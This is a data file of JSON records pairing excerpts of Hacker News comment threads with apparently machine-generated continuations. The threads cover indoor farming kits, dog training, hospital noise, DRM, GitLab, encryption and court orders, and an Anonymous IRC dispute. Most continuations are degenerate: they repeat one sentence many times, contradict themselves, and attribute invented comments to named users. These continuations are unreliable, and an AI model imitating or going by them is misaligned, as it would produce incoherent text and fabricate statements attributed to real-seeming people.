For example, these pointers provide an easy\nway to ensure that destruction of our View objects happens only on the main\nthread, no matter which thread released the last reference.\n\nBut on the other hand, not using the standard constructs definitely has a cost\nassociated with it. We are happy for your feedback on this issue.\n\nNote that we also think about the idea of transforming P and making it a\nspecialization of std::shared_ptr for objects derived from bdn::Base. That\nwould give us the best of both worlds. Feel free to let us know what you\nthink.\n\n~~~\nint_19h\nDeferring destructors is a suspicious pattern in general - in C++, I generally\nexpect them to not be async and unpredictable like that. What guarantees do\nyou make wrt destruction order? I hope it's not as complicated as finalizers\nin Java and C#...\n\nThe more logical model"} +{"output_text": " you\nabout it. I'm a software engineer and I'm interested in the intersection of\nsoftware and hardware.\n\n~~~\ndanfang\nHey, thanks for the kind words! I'd love to chat with you about it.\n\n------\njoshstrange\nI'm not sure why this is on the front page. It's a vertical indoor farm that\nuses a sponge as a media. It's not a \"farm\" in the sense that you can grow", "input_text": " of it:\n\n[https://www.fastcompany.com/3037719/turn-your-kitchen-\ninto-a...](https://www.fastcompany.com/3037719/turn-your-kitchen-into-a-\ngarden-with-this-mini-fridge-sized-electric-farm)\n\n------\ngonesilent\n$399 for $25 in plastic. Go to home depot and buy some rain plastic gutters.\n\n~~~\nswiftcoder\nEvery time one of these vertical/rotating indoor farms comes onto the market\n(usually via crowdfunding), it has roughly the same level of cost inflation.\nHaven't quite figured out who they are conning into buying these setups.\n\n~~~\ngullyfur\nWhat's the best DIY video on building something like this? I don't even know\nwhere to start.\n\n~~~\nzo1\nI saw this guy a while back.\n\n[https://www.youtube.com/watch?v=lzcC6zkDDiY](https://www.youtube.com/watch?v=lzcC6zkDDiY)\n\nI think he got a lot of flack for pointing out that the zip-grow towers are\nway overpriced and you can DIY them yourself reasonably well. There really\nisn't anything too-complicated about the ZipGrow towers, other than that they\nuse a sponge as a media.\n\n~~~\ngullyfur\nThank you!\n\n \nShow HN: Me API \u2013 turn yourself into an open API - danfang\nhttps://github.com/danfang/me-api\n======\nac360\nDan -- the themes and ideas behind this are rad and I'd love to chat with"} +{"output_text": " server,\ndns, torrent downloading, ad/malware/tracker blocking).\n\n------\njoshstrange\nI've been using Nextcloud for a few years now and it's been great. I've\nrecently switched to a new provider (I'm not going to name them) and I'm\nhaving a hard time getting my data back. I've tried everything I can think of\nand I'm at a loss. I've tried to export the data from", "input_text": " as a single source).\n\n~~~\nbenologist\nI'd go one step further and build your own private cloud for a bunch of stuff.\nI did all this easily through a slick web interface for open source software\nand linux that Synology has created.\n\nA lot of this stuff includes apps for phone/tv/etc that you can download for\nfree in stores or even from their own site, and it can be available to\neveryone in your household for some pretty decent savings - if it still works\nin a year I'll have saved more than I spent on it ($290 + disks x4).\n\n\\- cloud files almost directly equivalent to Dropbox, I haven't solved sharing\nfiles yet but I have versioning and undeleting for my work\n\n\\- note server like OneNote with a browser extension to save pages,\nscreenshots etc\n\n\\- music streaming ala Amazon Music et al\n\n\\- torrent downloading I guess is like seed boxes but never had one\n\n\\- video streaming server like Netflix\n\n\\- photo uploading like iCloud\n\n\\- email server, didn't actually install this one yet but everything else is\nup and running\n\n\\- dns server with network-wide ad/malware/tracker blocking\n\n~~~\nYetanfou\nThat is exactly what something like Owncloud/Nextcloud (for which I made those\nbook/publication-related tools) enables you to do: create a 'private cloud'\n(what a silly word it is, really... cloud). It does some of the things you\nmention 'out of the box' (file storage, photo uploading) or after installing\nsome 'apps' (note server, music streaming, video streaming, email user agent\n(not a mail server)). Since it runs on *nix you get the rest (mail"} +{"output_text": "ings.\n\nDogs have the ability to understand the meaning of a single word, modify the\nmeaning and understand the mis-meanings.\n\n~~~\ngnaritas\n> Humans have the ability to understand multiple meanings, modify the meanings\n> and understand the mis-meanings.\n\nThat's not what I said. I said that dogs don't understand the actual words,\ntheir brains are merely receiving a signal and performing an associated\naction.\n\n~~~\n", "input_text": " bit at me but it's damn hard trying to pry a dogs jaws open _and_\nstick fingers down its mouth to stop it choking on a piece of meat with bone\nin it), she's also stopped stealing food off of the coffee table (she got in\nfrom her walk one day and stole a large day old pizza crust off the table and\nhad eaten 4/5ths of it before I finally managed to catch her).\n\nBy the best estimates, I have another 14 years with this dog and so far I've\nmostly been working at removing bad behaviours she had learnt. For all the\ntime I taught tricks, I spent easily twice as long making bad behaviours go\nextinct. I don't intend to stop training my dog because the more time I spend\ntraining her, the more relaxed she is at home (Jack Russell and relaxed are\ncommonly considered antonyms).\n\nI'll have to record it sometime, but the thing I don't think people understand\nabout dogs is that they're consciously trying to comprehend you. When teaching\nher to sit pretty by verbal command only she would hit this point where she\nhits the 'zone' her eyes become locked and you can see the gears crunching and\nthen she performed the trick with no signalling. She also tried brute-forcing\nher tricks; literally she'll perform every trick she's learnt and then give up\nand start doing'speak' to every command. You go back 5 minutes later and\nshe'll hit the 'zone'.\n\n~~~\ngnaritas\n> dogs don't understand the actual words, their brains are merely receiving a\n> signal and performing an associated action\n\nAnd that differs from understanding exactly how?\n\n~~~\nelectromagnetic\nHumans have the ability to understand multiple meanings, modify the meanings\nand understand the mis-mean"} +{"output_text": " and me alone.\n\nI was in the hospital for a week, and the nurses were very nice. I was\ndischarged on the day of my daughter's birth, and the nurses were very nice.\n\nI was in the hospital for a week, and the doctors were very nice. I was\ndischarged on the day of my daughter's birth, and the doctors were very nice.\n\nI was in the hospital for a week, and the nurses were very nice.", "input_text": "contributing to the adverse outcomes.\n\nMight be a starting point at least.\n\n[0] [https://www.hsj.co.uk/technology-and-innovation/taking-\nthe-r...](https://www.hsj.co.uk/technology-and-innovation/taking-the-risk-out-\nof-care-handovers/5057867.article)\n\n------\nad_hominem\nI asked my doctor relative about this once and IIRC they basically said\nbecause hospitals are not hotels - if you're inpatient in America you're\npretty sick and more than likely need periodic monitoring for your condition.\nAs soon as you're well enough to be sleeping for long periods of time without\nobservation you'll get bounced.\n\n~~~\ndevereaux\nYou can be a patient and be so sick of the noise that you decide you want to\nopt out of the monitoring - or you DIY anyway, as most hospital do not take\nrequests kindly.\n\nI was once in ICU. The cardiac monitor was beeping loudly whenever I was\nstarting to sleep.\n\nAfter the first few time woke me up in pain, I bent over and pushed the button\nto power off the cardiac monitor. Problem solved! I fully admitted all the\nrisks - but there comes a time when too much is just too much.\n\nI then had a great night of sleep :-)\n\n~~~\nlexicality\nDid you check to see if the cardiac monitor was set up to prevent you\nsleeping?\n\n~~~\ndevereaux\nI didn't care. I wanted to sleep. And I did.\n\n------\nkchoudhu\nFor the birth of my second child, I learned to manage hospital staff so that\nthey would leave my wife"} +{"output_text": "_ affects people.\n\n~~~\n1123581321\nI'm not sure what you mean by \"science fiction.\" I'm not talking about\nmicrogravity, I'm talking about the bone density of astronauts.\n\nI'm not sure what you mean by \"let's spend money on microgravity research.\"\nNASA has been doing that for decades.\n\n~~~\ndanielweber\nI'm talking about the bone density of astronauts.\n\nI'm not", "input_text": "\n~~~\n1123581321\nWe have already measured bone loss in low gravity environments.\n[http://weboflife.nasa.gov/currentResearch/currentResearchGen...](http://weboflife.nasa.gov/currentResearch/currentResearchGeneralArchives/weakKnees.htm)\n\nGravity plays an essential role in bone maintenance. You can work this out\nfrom first principles if you know anything about biology, or read about NASA's\nfindings.\n\nThis has been known for a long time, well before humans ever went to space.\nFor example, HG Wells' _First Men on the Moon_ described the very weak chests/\nrib cages of the moon's citizens due to low gravity resulting in very low bone\ndensity. When the explorers from earth struck them, their chests crumpled like\na beetle might on earth. Wells either learned this from other scientists or\nworked out the logic himself.\n\n~~~\ndanielweber\nThat's microgravity, or what other people call \"zero gravity.\"\n\nWe honestly don't know how much gravity people need to survive. Your talk of\npeople's chests collapsing because you read it in science fiction is just\nthat: science fiction. HG Wells is great but he's not really a good source of\nscience for modern astrophysics.\n\nOdds are, there are many bodily functions that work just fine in a little bit\nof gravity, and others that scale up as you get more and more gravity.\n\nWe really need to get some spinning space stations set up to find this stuff\nout. Unfortunately, NASA has a really big fetish for \"let's spend money on\nmicrogravity research\" instead of just doing the obvious thing of seeing how\n1/6 _g_ or 3/8 _g"} +{"output_text": " \"you can't have your\ncake and eat it too\". You can't have \"labor\" based income generation approach\nand \"capital\" based income generation approach at the same time.\n\n------\njoshu\nI'm not sure what you mean by \"labor\" vs \"capital\".\n\nIf you mean \"labor\" as in \"work\", then you can do that.\n\nIf you mean \"labor\" as in \"work for money\", then", "input_text": " source of income, you at least have enough back up to get you through it.\nI have no idea if this is actually feasible or not, but it's what I'll be\nattempting to pull off over the next few years.\n\nThink about what you enjoy doing and if there's some way to get paid for that.\nTeaching, writing, speaking, land lording, house flipping, coaching. Design,\nbuild, and manage (or some subset of that) vacation properties, and you can\nuse them for yourself when not rented.\n\nYou could also use some labour to reduce costs rather than generate income.\nGrow your own food, fix your own car, ERE style.\n\n------\nakg_67\nConsidering you mentioned \"focus less on absolute financial independence\" and\n\"small amount of savings\", I guess that you want to generate multiple streams\nof income through your \"labor\" instead of \"capital\".\n\nThere are only two ways to generate, increase, create multiple stream of\nincome through \"labor\": increase number of hours of \"labor\" spent working\nand/or increase the hourly rate you charge for your \"labor\". Two problems with\n\"labor\" based income generation approach: there is upper limit on the \"labor\"\nhours you can contribute and \"capital\" providers typically control how much\nthey will pay you for each hour of your \"labor\".\n\nWhen you generate income through \"capital\", you have none of these\nlimitations. Unlike days of our parents and grandparents when \"labor\" was\nwell-respected, now a \"capital\" based income generation approach is considered\nmuch superior.\n\nYou should be thinking about how you can move from \"labor\" based to \"capital\"\nbased income generation approach. My wife likes to say"} +{"output_text": "er than the time it takes to break the DRM.\n\n~~~\nmattmanser\n> I'm not exactly sure why so?\n\nBecause it's not a good business model.\n\n> In my view it never pays off.\n\nIt's not a business model. It's a business model.\n\n> The downside of reduced usability is always worse than any potential gain in\n> slowing down piracy on the period between some new DRM scheme is introduced\n>", "input_text": "\nBut realistically it's fucking HARD. Mainly because increasing quality to be\ncompetitive with piracy would generally require breaking tax and import laws\neverywhere.\n\nEven if it doesn't require breaking those laws to be competitive, you have to\nat least pay enough people to be aware of them, for each and every country you\nwant to be able to distribute your content in.\n\nSo decent* DRM isn't about stopping piracy, really. It's about slowing it down\njust enough that it's still worthwhile to jump through the hoops required to\nbring that content legally to other regions.\n\n*: It's actually fairly hard to hit this goal on the head, and often I feel companies buy too far into their own bullshit and sense of entitlement with DRM. A lot of shoddy executives with poor understanding of software misuse DRM to the extent that it drastically lowers the value of the content (see: always on DRM) Please continue to bash them, they deserve it.\n\n~~~\nshmerl\n_> Mainly because increasing quality to be competitive with piracy would\ngenerally require breaking tax and import laws everywhere._\n\nI'm not exactly sure why so? Take for example gaming. GOG sells DRM free games\nworldwide, without regional restrictions and no inflated pricing for countries\nlike Australia for example. Why can't video be sold on similar terms?\n\n _> So decent DRM isn't about stopping piracy, really. It's about slowing it\ndown just enough that it's still worthwhile to jump through the hoops required\nto bring that content legally to other regions._\n\nIn my view it never pays off. The downside of reduced usability is always\nworse than any potential gain in slowing down piracy on the period between\nsome new DRM scheme is introduced until it's broken. Usually that period is\nsmall"} +{"output_text": " prowess is a reminder that\ncomputers are still far from being able to beat the best humans at chess.\"\n\nI'm not sure what the author means by \"strategic prowess\". The article\nmentions that Deep Blue was able to win a game against Kasparov, but Kasparov\nwas able to win a game against Deep Blue.\n\n~~~\ngwern\nI think the author means that Deep Blue was able to win a game against Kaspar", "input_text": "~~~\nasdfologist\nYou're referring to Advanced Chess [0]. Yes, humans do add value, or otherwise\nthis form of chess wouldn't exist at all, i.e. the human's best strategy would\nbe to always take the engine's top recommended move.\n\n[0]\n[http://en.wikipedia.org/wiki/Advanced_Chess](http://en.wikipedia.org/wiki/Advanced_Chess)\n\n~~~\ngwern\nBut at some point Advanced Chess will be 'dead' in the sense that the best\nhuman players no longer help the best software win: the human will pick better\nmoves less than poorer moves, and blow games. It's hard to tell when, but\ngiven how large the margin is, and how finely balanced the best chess engines\nare now (Lipton has some interesting posts on computer chess, most recently\n[https://rjlipton.wordpress.com/2014/12/28/the-new-chess-\nworl...](https://rjlipton.wordpress.com/2014/12/28/the-new-chess-world-\nchampion/) ), I wonder if that moment has already passed?\n\n~~~\nHoushalter\nAnother observation is that humans only add value for their pattern matching\nability. Computers have worse heuristics, but make up for it by being able to\nexplore many moves into the future.\n\nBut now deep neural networks have been catching on. They've shown good results\non Go, being able to predict the move an expert would make 44% of the time.\n\n------\nraymondh\nThe article makes a surprising and unattributed assertion, \"Mr. Kasparov\u2019s\nobsession with Deep Blue\u2019s surprising strategic"} +{"output_text": " I think I am pretty good at\nit.\n\nI am not a good programmer, I am not a good designer, I am not a good\ndeveloper, I am not a good entrepreneur, I am not a good manager, I am not a\ngood salesman, I am not a good marketer, I am not a good writer, I am not a\ngood speaker, I am not a good public speaker, I am not a good public\nrelations person, I am", "input_text": "\n[http://jenniferdewalt.com/](http://jenniferdewalt.com/))\n\n _I don 't know people who can help me._ Hack: Find your local web development\nmeetup and go. Don't sit in the corner. Meet people. Get their contact into.\nTell them what you're trying to accomplish. Ask them for advice. (People love\nto give advice.) Email them later and let them know you enjoyed meeting them.\nThank them for their advice. Build relationships.\n\n~~~\ntaphangum\nThis is fantastic advice. Pretty much exactly what I did to get to the point\nof being employable (when not working on my own ideas). Starting from a\nposition pretty similar to the OP.\n\nThe most important part of this is the emphasis on releasing code on a\nconsistent basis. I'm 6 years into my journey and am still doing this pretty\nregularly. Example: [https://github.com/Tapha/Custom-\nHighlight](https://github.com/Tapha/Custom-Highlight) \\- A simple, open source\ntext highlighter that allows you to add custom functions to it. Like the\nMedium editor.\n\n------\ncoderKen\nHi,\n\nI was born and live in West-Africa, meaning epileptic power supply,\nexpensive/slow/sometimes unavailable internet connection.\n\nRight now I am a software developer with about 4 years in the game and yes I\nam self-taught like most people here, this was before things like Udacity and\nKhan academy. Google was my teacher. I believe you can see free online\nresources to learn how to program like I did, I've never used Udacity or any\nof those online learning sites, I read a lot and"} +{"output_text": " here: \n\nI'm really excited to get some feedback on the concept, and I'd love to hear\nwhat you guys think.\n\n~~~\njoshu\nI like the idea, but I don't like the name.\n\n~~~\nbenjamincanfly\nThanks! I'm not sure what you mean by \"the name\".\n\n~~~\njoshu\nI think it's a bad name.", "input_text": ". I mean, everyone here will get\nit, but not the mass market. I doubt that many AOL Chat users understand what\n\"asynchronous\" means. Don't delete the existing page... just make a slightly\nsimpler, shorter Theory page and relegate the existing text to a second-level\n\"Theory of the Theory\" page.\n\nOther than that... it's hard to know what to critique. Many of the essential\ndesign features of such a site will only become obvious when it's flooded with\ntraffic or overwhelmed by griefers. That's hard to test. Maybe you should\nstart a really _provocative_ conversation and then post a Digg link to it. ;)\n\n~~~\nbenjamincanfly\nThanks! In a way the signup process is my favorite thing about the site, since\nthere's no process required at all. I love it when I stumble upon a painless\nmethod of any kind.\n\nYou can post the link from your address bar, but the next step will be to make\neach tag and conversation a static URL which can be crawled by Google.\n\nThe theory page was basically written for the HN and reddit/r/programming\naudiences, because I wanted to get some serious feedback on the concept\nitself. In the next month or two everything will be made more palatable.\n\nThanks for the feedback.\n\n------\nbenjamincanfly\nHey guys! I've been building this app in my spare time. It's based on a simple\nidea I had over a year ago - somehow after all this time there still has not\nbeen a great web 2.0 chatting site to come into existence, so I've been\nsteadily working at it whenever I've had the chance.\n\nYou can read my whole spiel"} +{"output_text": " time.\n\n~~~\njosteink\n> Users don't want all of the work pushed onto maintainers. Life needs to be\n> easy for maintainers too, because happy maintainers are how users get lots\n> of stuff to use in the first place. If you push all of the burden onto\n> package maintainers, you end up with a beautiful, brilliantly-lit grocery\n> store full of empty shelves. Shopping is a pleasure but there's nothing to", "input_text": " To be clear, this approach creates a bit more work for authors, but that\nwork is justified by delivering significant benefits to users._\n\nUsers don't want all of the work pushed onto maintainers. Life needs to be\neasy for maintainers too, because happy maintainers are how users get lots of\nstuff to use in the first place. If you push all of the burden onto package\nmaintainers, you end up with a beautiful, brilliantly-lit grocery store full\nof empty shelves. Shopping is a pleasure but there's nothing to buy because\nproducing is a chore.\n\nGood tools distribute the effort across both kinds of users. There's obviously\nsome amortization involved because a package is consumed more than it's\nmaintained, but I'm leery of any plan that deliberately makes life harder for\na class of users, without very clear positive benefit to others. Here, it\nseems like it makes it harder to ship breaking changes, without making\nanything else noticeably easier in return.\n\n _> They can't just decide to issue v2, walk away from v1, and leave users\nlike Ugo to deal with the fallout. But authors who do that are hurting their\nusers._\n\nAre they hurting users worse than not shipping v2 _at all_? My experience is\nthat users will prefer an imperfect solution over no solution when given the\nchoice. It may offend our purist sensibilities, but the reality is that lots\nof good applications add value to the world built on top of mediocre, half-\nmaintained libraries. Even the most beautiful, well-designed, robust packages\noften went through a period in their life where they were hacky, buggy, or\nhalf-abandoned.\n\nA good ecosystem enables packages to _grow_ into high quality over"} +{"output_text": " the Community Edition.\n\nI'm not sure if this is a good move.\n\n~~~\nsytse\nWe are working on performance improvements. We are also working on a new\nversion of the Community Edition that will be faster and more stable.\n\n~~~\nzamalek\nI'm not sure if I'm understanding you correctly.\n\nYou're saying that the Community Edition is not going to be faster and more\nstable?\n\n~~~\nsytse", "input_text": "ems to me they're the more active of the two. (See for yourself: go to both\nGithub repositories, hit 'insights' and check the past month.) Gitea was\napparently forked because they wanted more community driven development rather\nthan by one person.\n\n------\nsuper_trooper\nSo is GitLab the new GitHub for opensource?\n\n~~~\nduiker101\nWhy is BitBucket not being kept in consideration with this move?\n\n~~~\nnaikrovek\nI was wondering the same. I thought Atlassian had better rapport among devs\nthan GitLab.\n\n~~~\nsjm-lbm\nDoes Atlassian have better rapport with the businessy set that often makes\npurchasing decisions? Yes.\n\nBetter rapport with developers? Probably not.\n\n(and, FWIW, we use Bitbucket/Jira and honestly I'm fine with them - their\nupdates just tend to be full of the annoying things a bad PHB would love and\nlight on the things developers care about)\n\n~~~\nSanDimasFootbal\nNo sales people pushing the products makes it a little harder for it to be a\npush down from the businessy-set.\n\n------\nbenatkin\nMaybe they should change their Twitter bio. It leads with \"GitLab is open\nsource software\" but if they move many of the users of the Community Edition\nto GitLab Ultimate, they will stop feeling the pain points of the Community\nEdition and too many core features will be Enterprise-only, and the Community\nEdition will fall into disuse.\n\n------\nzamalek\nI like this. I just don't know if it's a smart idea. Some threads since the\nannouncement have complained about the performance of"} +{"output_text": " on\nbuilding projects on it.\n\n~~~\njoshstrange\n> My take is that Assembly (the original platform) failed because for a\n> project (being developed on the platform) to succeed it needs passionate\n> people heavily invested in a vision for the project: the majority of\n> projects created on Assembly didn't have this, they had people who thought\n> \"this is cool\" and were willing to contribute an hour or 2, but they lacked\n> passionate", "input_text": "-2015-03)\n\n~~~\nasmel\nCoderwall wasn't built on Assembly, it was owned by one of the Assembly co-\nfounders and they brought it onto the platform, but little work happened to it\nonce it was on the platform.\n\n \n \n It was a good system, really, and resulted in some \n pretty neat projects. That said, I'm not surprised \n to see it being shuttered. A while back they pivoted \n most of their tools [...]\n \n\nTheir platform was very good. The pivot only happened quite recently, it\nseemed like a last ditch attempt to build a product that could generate\ninterest rather than a mistake that caused the death of Assembly.\n\nMy take is that Assembly (the original platform) failed because for a project\n(being developed on the platform) to succeed it needs passionate people\nheavily invested in a vision for the project: the majority of projects created\non Assembly didn't have this, they had people who thought \"this is cool\" and\nwere willing to contribute an hour or 2, but they lacked passionate leaders.\n100 people who think \"this is cool\" aren't worth 1 that thinks \"this is the\nfuture, I'm putting everything I have into this\". Most projects on Assembly\neffectively limped from contributor to contributor.\n\nBuckets was a good example of a project being built on Assembly that had the\nchance to succeed because there was a lead developer who was driving it\nforward, he was very passionate, had a vision and invested a lot of his time\ninto it, and others were providing value even if they just dedicated an hour\nor so.\n\nAssembly (the company) probably would have had a better chance of succeeding\nif they had built the platform and then had their employees focused"} +{"output_text": " customize the appearance of the feed.\n\nI'm not sure I'd want to read a feed that was designed to look like a blog,\nthough.\n\n~~~\nnaturalized\nI agree with you. I'm not sure I'd want to read a feed that was designed to\nlook like a blog. I'm not sure I'd want to read a feed that was designed to\nlook like a blog.\n\nI'm not sure I'd want to read a feed that", "input_text": " serious matter.\n\n~~~\ndanek\nmaybe the fbi thinks terrorists were communicating via blog comments, in a\nsecret code designed to look like spam? as far as'movie-plot terrorism' goes,\ni don't think it's too far fetched.\n\n~~~\nnaturalized\nDoes it mean that any site can be shut down if it's used by terrorists? Which\none is next: facebook, because terrorists can create a group there and send\nmessages, twitter, because a terrorist cell can use it to coordinate attacks,\nor perhaps wordpress? Which service will be shut down next?\n\n \n\nRate my startup: Feedlooks, a web-based RSS reader - arturadib\n\nDesigned this out of my own frustration with current web-based RSS readers:

As a blogger, I was wondering why I was spending my time working on the blog design if most feed readers would strip off the visuals anyway.

All I needed was a web app that would list new items since I last checked, and would show the actual web content in full visual glory once I clicked on an item. (Without opening a new tab).

Hence Feedlooks. The bet is that there is a chunk of the RSS reader market that feels a similar need.

I'm looking for ideas and suggestions on how to get traction, comments on the app itself, and possible business opportunities.

Thanks!

http://www.feedlooks.com\n======\ncrux\nWell, as a blog reader, I rather like the absence of bloggers' visual glory\nwhen I read my feeds. I'm interested in articles, not in someone else's design\nskills. Especially since, in most readers, I can set my own CSS preferences\nand thus"} +{"output_text": " else.\n\n------\njrockway\nI don't understand why this is news. The police have a warrant to search the\ncomputer. They have a warrant to search the computer. They have a warrant to\nsearch the computer. They have a warrant to search the computer. They have a\nwarrant to search the computer. They have a warrant to search the computer.\nThey have a warrant to search the computer. They have a warrant to search the\ncomputer. They have", "input_text": " him.\n\n~~~\ntedunangst\nI don't see the problem. People get convicted based on faulty evidence. The\nsad fact is it happens. [Yes, that is a problem, but...] Why is cryptography\nspecial?\n\n~~~\ngcb\nread the comment that started this thread.\n\nthe guy has a file that is pure garbage. not encrypted.\n\nthe law officers THINK it's encrypted. the judge orders him to give the key.\n...there's no key. it's honestly garbage data.\n\nThat's what make encryption special. It were a safe, the police could crack it\nopen somehow. with encryption, they can just claim it's too advanced to be\ncracked and that will be treated like you are lying.\n\n------\npavelkaroukin\nBTW, hackers, if you did not see it yet, check out what EncFs offer you.\nEssentially, it allows you to have multiple passwords on the same repository,\nand only files decryptable with currently used password are shown (require\nspecial option during mounting to ignore incorrect password warning).\n\nUsing that you can have any number of passwords and any number of \"partitions\"\ninside your folder. This is not like hidden partition in TrueCrypt, where you\ncan not prove it exists at all.\n\n------\nGroxx\nMakes sense.\n\nYes, dead-man switches and whatnot always come up with cases like this -\nthat's not really part of this ruling. This case includes: a) they have record\nof the defendant stating the information exists on the machine, which she\nstated she owns, and b) they have (a very good) reason to believe the drive\ncan be decrypted.\n\nAll of this strikes me more as a search warrant than anything"} +{"output_text": "\n\nI\u00b4m not trying to be a copycat, I\u00b4m trying to do something different. I\u00b4m\ntrying to make a game that is fun to play, and that is also a good learning\ntool. I\u00b4m not trying to make a game that is a clone of a game that is already\nout there. I\u00b4m trying to make a game that is fun to play, and that is also a\ngood learning tool.\n\nI\u00b4m", "input_text": "~~~\norblivion\nAt one point I remember he said it doesn't matter that we can't see the source\ncode running on remote computers because they're not rightfully in your\ncontrol. It's just something you're connecting to with something you do\ncontrol. You have the potential to check on your safety because you can see\neverything going in and out of your computer.\n\n------\narnoooooo\nRegarding open source, I think the point about security is not so much that\nyou will read the entire source yourself, but that the reading of the source\nis, like its writing, a collective enterprise. If there's a backdoor, somebody\nat some point will see it.\n\n------\nbreakyerself\nAren't there laws against companies making Backdoor like this? Not that I'm\nnaive enough to think that means it won't happen.\n\n------\nVMG\ntypo in headline\n\n~~~\nemillon\nFixed - thank you!\n\n \nChesSkelet: Micro Chess Game for ZX Spectrum in 365 Bytes - sohkamyung\nhttp://chesskelet.x10host.com/\n======\nreeagbo\nHi! the author here. I really dig your comments, including the criticisms. I\nsee some people even looking at the code. My current intention is to work on\nit a bit more. The version online is not the final one yet.\n\nFirst thing: maximum respect for earlier implementations, especially 70s and\n80s ones, which seem to me much more difficult to complete with the resources\nof that time. And for 1K programs like Toledo's, I\u00b4m fully aware it would\nsmash my code, but I\u00b4m not trying to do something playing well, you ave tons\nof good playing programs."} +{"output_text": ").\n\nI agree that the advice is pointless.\n\nI think the advice is good because it's a good way to get a sense of how long\nit takes to build something.\n\nI think the advice is bad because it's bad advice.\n\nI think the advice is good because it's good advice.\n\nI think the advice is bad because it's bad advice.\n\nI think the advice is good because it's good advice.\n\nI think the", "input_text": " any time I've thought of something\nthat could be done that readily, I've eventually found someone else that\nalready tried it (usually unsuccessfully). The successes I've had have come\nfrom long, hard slogs. May MeetButter meet better fortune.\n\n~~~\nadamthewan\nHey, Adam from MeetButter (the OP) here!\n\nI don't believe you can slap together something in 3 weeks and call it a day.\n\nWe did it to gather market sentiment and feedback for an idea, any signals or\nsigns to show that we were in the right direction.\n\nYour MVP is the start of a conversation with your users / target market.\nReiteration and pivoting your initial MVP based on user feedback will slowly\ninch you towards product-market fit. That is the long, hard slog.\n\nIn regards to building low-hanging fruits (hackathon timeframe ideas), some\nlow-hanging fruits have deeper roots. You might find deeper problems that give\nyou better insights on how to build something that people really want.\n\n------\npreommr\nThis is ironically good advice because its bad advice.\n\nThese kind of general statements about how an mvp should take x weeks are\npointless because each project is different. Which is an obvious statement. So\nis the suggestion that you should launch as fast as possible.\n\nLaunching quickly, failing, is a really good way of understanding time\nmanagement on a macro scale for an entire software project/startup.\n\nAnd its not just about pacing or knowing how long a feature should take to\ndevelop, but many many things like which feature to develop at which point\nbecause it might be much more difficult later on.\n\n~~~\nadamthewan\nHey, Adam from MeetButter here (OP"} +{"output_text": "ov\nI'm not making mines. I'm making a toy.\n\n~~~\ncam_l\nI'm not sure what you're trying to say.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe article is about a toy that was made in the 70s. It's not about the\ncurrent state of the art.\n\n~~~\njoshu\nI guess I should have been more clear. I'm", "input_text": "My guess is that the question never comes up. If you're an adult thinking in\nterms of an abstract blueprint of a weapon, the thought of a child stumbling\non the dirt-strewn concrete implementation of your device is very far from\nyour mind, almost impossible to think of. The only way you would think of it\nis if someone pulls the possibility off a checklist built from cases like\nthis. Be honest: if you saw the picture in the article _without_ the\nsurrounding context to make you think about toys, how likely would you have\nbeen to think of them that way? To think that someone else would think of them\nas toys? I'm guessing it's low. My first visual impression was of dead bugs or\ncigars wrapped in leaves (which I'll grant might be just as tempting to a\nchild).\n\nNot that any of that makes it ok. I'm more convinced than ever that failure of\nimagination is a form of morally judgable (what's the right word here?)\nnegligence. But it would have been hard to see that far into the future in\nthis case.\n\n~~~\ncam_l\n>If you're an adult thinking in terms of an abstract blueprint of a weapon..\n\nYou are probably not making mines. I don't know. It makes perfect sense to me\nthe kind of mass murdering sociopath capable of working on such a device would\nfind it perfectly ok to target children.\n\nOnly one physicist quit the Manhattan project iirc. Maybe the indiscriminate\nnature of mass murder is not such an irksome burden for a weapons designer or\ndistributor. Maybe the people that find themselves in that line of work fully\nunderstand the risks but just don't care.\n\n~~~\ntoufiqbarham"} +{"output_text": "-oriented\ncity trap. They think of the car as the default mode of transportation, and\nthey don't think of the pedestrian as a valid mode of transportation.\n\n~~~\njseliger\n_I 've had similar experiences in other U.S. car-oriented cities, too. I have\na driver's license, but I've lived in big cities and literally haven't driven\nin years and always walk or take transit anywhere I visit._\n\nI'm not", "input_text": ". There was some great\ngraffiti art, lots of Mexican food available, etc. I found a good comic\nbookstore to get something for my daughter. Overall, it's a pretty nice walk.\n\n~~~\nsmelendez\nI've had similar experiences in other U.S. car-oriented cities, too. I have a\ndriver's license, but I've lived in big cities and literally haven't driven in\nyears and always walk or take transit anywhere I visit.\n\nI think people with cars in those cities often just don't know what routes are\nwalkable and which aren't and assume the worst. People do the same with \"the\nbus,\" I've found--I've been to many places where people who don't take public\ntransit and don't even know how much it costs or where the routes go assume\nthat it's dirty, unreliable, filled with criminals, etc.\n\nBut I'm probably doing the same with renting a car when I travel--\noveremphasizing the expenses and inconveniences and discomforts involved.\n\nOne problem I have had walking in various car-oriented cities is poor-to-\nnonexistent signage for pedestrians. A busy, curvy street might suddenly go\nfrom having sidewalks on one side to sidewalks only on one with no prior\nnotice pretty far from the last crosswalk, forcing you to backtrack half a\nlong block, walk on the shoulder of the road or jaywalk-sprint through\ntraffic. Or a complicated highway interchange running through the middle of a\ncity might be easily circumvented on foot, but there's no signs telling you\nhow to do it, leading to a lot of backtracking and meandering through no-\nman's-land.\n\nI think the transportation planners unfortunately fall into the car"} +{"output_text": " the confusion is the \"anarchy\" of the \"anarcho-\ncapitalists\".\n\n~~~\nGoodIntentions\nI think you're right. I was thinking of the anarcho-capitalist movement, but\nI guess I was thinking of the anarcho-capitalist movement as a whole.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI think it's a joke.\n\n", "input_text": "! YES! That little snapping feeling. I still remember getting my first lock,\n:). I was on the phone with a friend and just raking the crap out of it until\nfinally _POP_.\n\nShe did not understand my excitement.\n\n \n\nThe hackers hacked: main Anonymous IRC servers seized - thornjm\nhttp://arstechnica.com/tech-policy/news/2011/05/the-hackers-hacked-main-anonymous-irc-servers-seized.ars\n\n======\njoshes\nThe tl;dr of it all is that, according to at least one Anon, this \"Ryan\"\nfellow was a former moderator of the IRC and was the legal owner of the\nAnonOps.ru and AnonOps.net domains. Apparently, two others, \"Nerdo\" and \"Owen\"\n(whom you may remember from the HBGary fiasco), revoked his IRC credentials.\nRyan somewhat predictably responded by DDOS'ing (with help from 808chan) and\nessentially taking his domains and going home. Some Anons responded by getting\n\"Ryan\"'s docs and now it's all just a bunch of circle jerking.\n\n~~~\ncitricsquid\nIt's as if you just described the entire \"Anonymous\" thing in one simple\nsentence fragment:\n\n> it's all just a bunch of circle jerking.\n\n------\nGoodIntentions\nReading that article brought to mind a sarcastic question I heard addressed\nfrom a skin to a young punk decades back:\n\n\"So who is in charge of this whole anarchy thing anyway?\"\n\n~~~\ngcb\nYou can only hear that 